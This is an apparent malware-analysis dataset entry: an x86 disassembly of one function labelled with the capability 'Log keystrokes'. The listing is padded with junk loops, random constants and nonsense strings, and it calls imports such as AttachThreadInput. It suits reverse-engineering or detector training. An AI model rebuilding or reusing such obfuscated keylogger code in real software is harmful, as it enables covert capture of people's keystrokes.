Function at 0x1000a7f9
Capabilities:
Log keystrokes

Disassembly:
mov eax, 0x100638f7
call fcn.10062d88
sub esp, 0x16c
cmp byte [ebp + 0x30], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
mov esi, edx
mov dword [ebp - 0x38], edi
je 0x1000b182
cmp byte [ebp + 0x1c], 0
je 0x1000a8d5
mov dword [ebp - 0x14], 0x1f3d
xor ebx, ebx
cmp dword [ebp - 0x14], 0x22c4
jle 0x1000a89b
xor edi, edi
mov esi, ebx
inc edi
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov eax, esi
cdq
idiv ecx
lea ecx, [ebp - 0x160]
mov eax, edx
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000a865
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x160]
call fcn.10006111
mov ecx, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x6eac
jl 0x1000a846
inc esi
cmp esi, 0x3fd5
jl 0x1000a841
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edi, dword [ebp - 0x38]
cmp dword [ebp - 0x14], 0x1cbd
jge 0x1000a8af
push str.icp_azcmxr_andqyhq_sivbpd
call fcn.1004da8c
pop ecx
push 2
pop esi
mov dword [edi], ebx
cmp dword [edi], esi
jge 0x1000b1f6
mov edx, dword [ebp + 0xc]
mov ecx, dword [edi]
mov eax, dword [edx]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [edi]
cmp dword [edi], esi
jl 0x1000a8bf
jmp 0x1000b1f6
mov eax, dword [ebp + 0x28]
lea ecx, [ebp - 0x44]
xor edi, edi
mov dword [ebp - 0x38], eax
inc edi
push edi
call fcn.10005c0e
push 2
pop esi
push edi
lea ecx, [ebp - 0xac]
mov dword [ebp - 4], esi
call fcn.10005c0e
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x20], 0x6ed55c59
push esi
call fcn.10005c0e
mov byte [ebp - 4], 4
xor ebx, ebx
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x24], ebx
jmp 0x1000a933
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x50], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x1000a925
push 0x323e
push 0x162c
push 0x394
push 0x62e4
push ebx
push 0x2b8c
push edi
push 0x4cbb
push 0xf3b
push 0x7e89
push 0x5429
push 0x7442
lea eax, [ebp - 0x24]
mov edx, 0x6a40
push eax
push 0x14a4
push 0x309e
lea eax, [ebp - 0x44]
mov ecx, 0x5ab1
push eax
push 0x5b5b
push 0x6394
push 0x105c
push ebx
call fcn.1000b6fd
add esp, 0x50
lea eax, [ebp - 0xac]
push 0x6d44
push ecx
push eax
push ecx
push ebx
lea eax, [ebp - 0x24]
push eax
push 0x5361
call fcn.1000d387
add esp, 0x18
lea edx, [ebp - 0xa0]
lea ecx, [ebp - 0x24]
call fcn.1000b540
mov eax, dword [ebp - 0x44]
pop ecx
mov dword [eax], ebx
mov ecx, dword [ebp - 0x44]
cmp dword [ecx], esi
jg 0x1000aaab
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx]
xor edx, edx
mov dword [ebp - 0x18], 0x8112def9
mov dword [ebp - 0x14], 0xddac0faa
mov dword [ebp - 0x18], eax
mov eax, dword [ecx]
push 0xfffffffffffffffb
mov eax, dword [ebp + eax*4 - 0x50]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
pop eax
sub eax, ecx
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setl dl
imul eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0xac]
setge cl
mov dword [eax], ecx
mov ecx, 0xfff6
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x50]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x50]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x50]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x50]
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
jne 0x1000aa6a
mov ecx, ebx
cmp dword [ebp - 0x18], ebx
je 0x1000aa6c
mov ecx, edi
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], ecx
xor eax, eax
cmp ecx, 0xfffffffc
setle al
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x50]
cmp eax, edi
mov eax, dword [ebp - 0x44]
setl cl
sub ecx, 0xc7127b1a
neg ecx
sbb ecx, ecx
inc ecx
inc dword [eax]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x44]
cmp dword [ecx], esi
jle 0x1000a9e9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xac]
inc ecx
mov edx, dword [eax]
mov eax, dword [ebp - 0xa0]
add edx, ecx
xor ecx, ecx
mov esi, dword [eax + 4]
mov eax, dword [ebp - 0x14]
cmp edx, eax
sete cl
xor edx, edx
cmp esi, ecx
lea ecx, [ebp - 0xa0]
sete dl
sub edx, esi
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
imul edx, dword [eax]
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
call fcn.10005c91
lea ecx, [ebp - 0xac]
call fcn.10005c91
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.10005c91
push dword [ebp + 0x24]
lea ecx, [ebp - 0xe8]
call fcn.10009001
push ecx
push dword [ebp + 0x10]
lea ecx, [ebp - 0xe8]
mov dword [ebp - 4], 5
call fcn.1000fafb
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], 0x7d52
cmp dword [ebp - 0x1c], 0x7d92
jle 0x1000abb1
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov eax, esi
cdq
idiv dword [ebp - 0x14]
lea eax, [ecx + edx]
cdq
lea ecx, [ebp - 0x130]
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000ab77
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x130]
call fcn.10006111
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x7b4b
jl 0x1000ab56
inc esi
cmp esi, 0x21a8
jl 0x1000ab53
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x1413
jl 0x1000ab51
mov dword [ebp - 0x30], 9
cmp dword [ebp - 0x1c], 0x7ce5
jge 0x1000abcc
push str.cxrkn_hnlew_awaqppj_wtxhvcp_ywzeqhoej_wbz_phtwlez_wxhecazwq_lrnm_fdkbi_hdznrbegs_kbyef
call fcn.1004da8c
pop ecx
push 5
pop esi
mov dword [ebp - 4], esi
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x80], 0x78ab
mov dword [ebp - 0x84], 0x1465
push edi
call fcn.10005c0e
mov byte [ebp - 4], 8
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x88], 0x29ac92d1
mov dword [ebp - 0x78], 0xfffffff8
mov dword [ebp - 0x18], 0xb53
cmp dword [ebp - 0x18], 0xd74
jle 0x1000ac57
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov ebx, esi
mov esi, 0xfaf
mov eax, ebx
mov ecx, 0x100808b8
cdq
push edx
push eax
call fcn.100059e4
add ebx, edi
dec esi
jne 0x1000ac25
mov esi, dword [ebp - 0x1c]
inc edi
cmp edi, 0xc91
jl 0x1000ac1e
inc esi
mov dword [ebp - 0x1c], esi
push 0
pop ebx
cmp esi, 0x6fc9
jl 0x1000ac1c
xor edi, edi
inc edi
mov dword [ebp - 0x7c], edi
mov byte [ebp - 4], 9
cmp dword [ebp - 0x18], 0xb25
jge 0x1000ac9d
mov edx, str.timceh_njddrwan_cyynel
mov ecx, 0x100808b8
call fcn.10008020
jmp 0x1000ac9d
push ecx
lea eax, [ebp - 0xc4]
mov dword [ebp - 4], 8
push eax
push ecx
lea eax, [ebp - 0xf4]
xor dl, dl
push eax
call fcn.1000cb6e
add esp, 0x10
mov dword [ebp - 0x30], ebx
jmp 0x1000ad82
push 2
lea ecx, [ebp - 0xb8]
call fcn.10005c0e
push ecx
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0xf0]
push ecx
mov dword [ebp - 0x94], 0x2477
lea edx, [ebp - 0xb8]
mov dword [ebp - 0x8c], 0xffffffff
push eax
call fcn.1000cf1c
lea eax, [ebp - 0x74]
mov edx, 0x66bc
push eax
lea eax, [ebp - 0xc4]
mov ecx, 0x5ef5
push eax
lea eax, [ebp - 0x30]
push eax
push 0x4309
push edi
lea eax, [ebp - 0xb8]
push eax
push edi
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x84]
push eax
push 0x1eeb
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x8c]
push eax
push 0xa25
lea eax, [ebp - 0x94]
push eax
push 0xbdf
push 0x5758
push 0x7739
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x80]
push eax
push ebx
call fcn.1000b6fd
add esp, 0x5c
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xb8]
call fcn.10005c91
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe7
jge 0x1000acc6
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], 5
call fcn.10005c91
push edi
push ecx
push ecx
lea eax, [ebp - 0x34]
mov ecx, 0x7e34
push eax
lea edx, [ebp - 0xe8]
call fcn.1000b4c9
add esp, 0x10
lea eax, [ebp - 0xe8]
lea edx, [ebp - 0x34]
push 0x5ffb
push 0x14a2
push dword [ebp + 0x10]
push eax
push ecx
mov ecx, 0x340f
call fcn.1000cc89
mov dword [ebp - 0x2c], ebx
add esp, 0x14
mov dword [ebp - 0x14], ebx
jmp 0x1000adf3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x10c], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1000ade2
push ebx
push ecx
push ecx
push 0x2ad9
mov edx, 0x56ac
lea ecx, [ebp - 0x2c]
call fcn.1000b4c9
add esp, 0x10
mov dword [ebp - 0x2c], 0x19
jmp 0x1000aef5
push dword [ebp + 0x30]
movdqa xmm0, xmmword [0x10072c40]
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x104]
mov dword [ebp - 0x90], 0x8bfc4f27
push eax
mov dword [ebp - 0x20], 0xb72b21a3
lea ecx, [ebp - 0x70]
push ebx
movdqu xmmword [ebp - 0x104], xmm0
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
call fcn.10008ab5
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x14], ebx
jmp 0x1000ae7b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xec], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1000ae6a
push 0x4f1d
push 0x3ac8
push ebx
lea eax, [ebp + 0x33]
mov byte [ebp + 0x33], bl
push eax
push edi
push 0x749
push 0x3131
mov edx, 0x2cdf
xor cl, cl
call fcn.1000b9ee
push ebx
push 0x22da
push 0x7d02
push 0x2517
push 0x703e
push edi
push 0x6147
lea eax, [ebp - 0x70]
mov ecx, 0x166f
push eax
push 0xb82
push 0x1343
push ebx
lea edx, [ebp - 0x90]
call fcn.1000a7f9
add esp, 0x48
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x70]
call fcn.10005c91
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jg 0x1000ae1d
cmp dword [ebp - 0x34], 0xffffffff
je 0x1000b010
mov dword [ebp - 0x20], 0x1ba8
cmp dword [ebp - 0x20], 0x1c91
jle 0x1000af7d
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov dword [ebp - 0x1c], 0x1fec
mov dword [ebp - 0x18], eax
mov esi, ebx
and eax, esi
lea ecx, [ebp - 0x148]
cdq
push edx
push eax
call fcn.10001a6a
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000af44
mov eax, dword [eax]
push eax
call fcn.1004da8c
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x148]
call fcn.10006111
mov eax, dword [ebp - 0x18]
inc esi
cmp esi, 0x3bf7
jl 0x1000af2a
mov esi, dword [ebp - 0x14]
add eax, esi
dec dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
jne 0x1000af28
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x37ab
jl 0x1000af1c
push edi
lea ecx, [ebp - 0xd0]
call fcn.10005c0e
cmp dword [ebp - 0x20], 0x190e
jge 0x1000af9d
push str.ewdhwa_cfollsfqy_umghq_nkscyls_cpjjadh_mnzo_rqqwq_wreyn_jrnyxnck_evcaalwrw_dcvx
call fcn.1004da8c
pop ecx
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x20], 0x5c6f1bf5
mov dword [ebp - 0x14], ebx
jmp 0x1000afca
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xd0]
mov dword [eax + ecx*4], 0x9f9b3198
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1000afb7
lea eax, [ebp - 0x64]
mov edx, 0x6c83
push eax
lea eax, [ebp - 0xd0]
push eax
push ecx
mov ecx, 0x7d57
call fcn.1000b901
add esp, 0xc
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xd0]
call fcn.10005c91
sub esp, 0xc
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x34]
call fcn.1000bad3
add esp, 0xc
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], 0x19
cmp dword [ebp - 0x14], 0xffffffff
jl 0x1000b160
mov dword [ebp - 0x60], 0xb999fb0
xor edx, edx
mov dword [ebp - 0x5c], 0xb999fb0
mov ecx, edi
mov dword [ebp - 0x58], 0xb999fb0
mov dword [ebp - 0x54], 0xb999fb0
mov dword [ebp - 0x20], 0xa28c7fff
mov dword [ebp - 0x1c], 0xef7e2919
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x60]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, 0xc39d
setg al
xor ecx, ecx
dec eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x5c]
cmp eax, edi
mov eax, dword [ebp - 0x20]
setle cl
dec eax
neg eax
sbb eax, eax
inc eax
add eax, ecx
imul eax, eax, 0x6c4f
add eax, dword [ebp - 0x14]
cmp eax, 0xffffffff
je 0x1000b09a
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x5c], 0xb2455f99
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0x6620
cmp dword [ebp - 0x20], 0x6966
jle 0x1000b0f5
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x100808b8
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.100059e4
inc edi
cmp edi, 0x6cdb
jl 0x1000b0bb
inc esi
cmp esi, 0x2416
jl 0x1000b0b9
xor edi, edi
inc edi
push edi
push 0x1ce1
push 0xba1
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0x40db
mov byte [ebp - 0x25], bl
lea ecx, [ebp - 0x25]
push 0x27e1
xor dl, dl
call fcn.1000cc54
pop ecx
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x20], 0x6586
pop ecx
jge 0x1000b151
mov edx, str.xglaudzrb_kzayrc_caw_kszal_vdq_qrnmlhmnm_byrexrwp_oibefgq_qsjm
mov ecx, 0x100808b8
call fcn.10008020
jmp 0x1000b151
mov dword [ebp - 4], 5
dec dword [ebp - 0x14]
jmp 0x1000b01a
mov eax, dword [ebp + 0x28]
lea ecx, [ebp - 0xe8]
cmp eax, ecx
je 0x1000b178
push 0xffffffffffffffff
push ebx
push ecx
mov ecx, eax
call fcn.10006fdd
push ebx
push edi
lea ecx, [ebp - 0xe8]
jmp 0x1000b1b8
cmp byte [ebp + 8], 0
je 0x1000b1bf
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x20]
push 0xffffffffffffffff
push dword [eax]
lea eax, [ebp - 0x178]
push eax
call fcn.1000fb81
mov ecx, dword [ebp + 0x2c]
push eax
mov dword [ebp - 4], 0x12
call fcn.1000fc2f
push 0
push 1
lea ecx, [ebp - 0x178]
call fcn.10006341
jmp 0x1000b1f6
mov dword [esi], 1
xor ebx, ebx
jmp 0x1000b1f2
mov dword [ebp - 0x14], ebx
jmp 0x1000b1db
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x118], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000b1ce
push ecx
push dword [ebp + 0x14]
sub esp, 0x14
call fcn.1000b63a
add esp, 0x1c
dec dword [esi]
cmp dword [esi], ebx
jge 0x1000b1c9
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret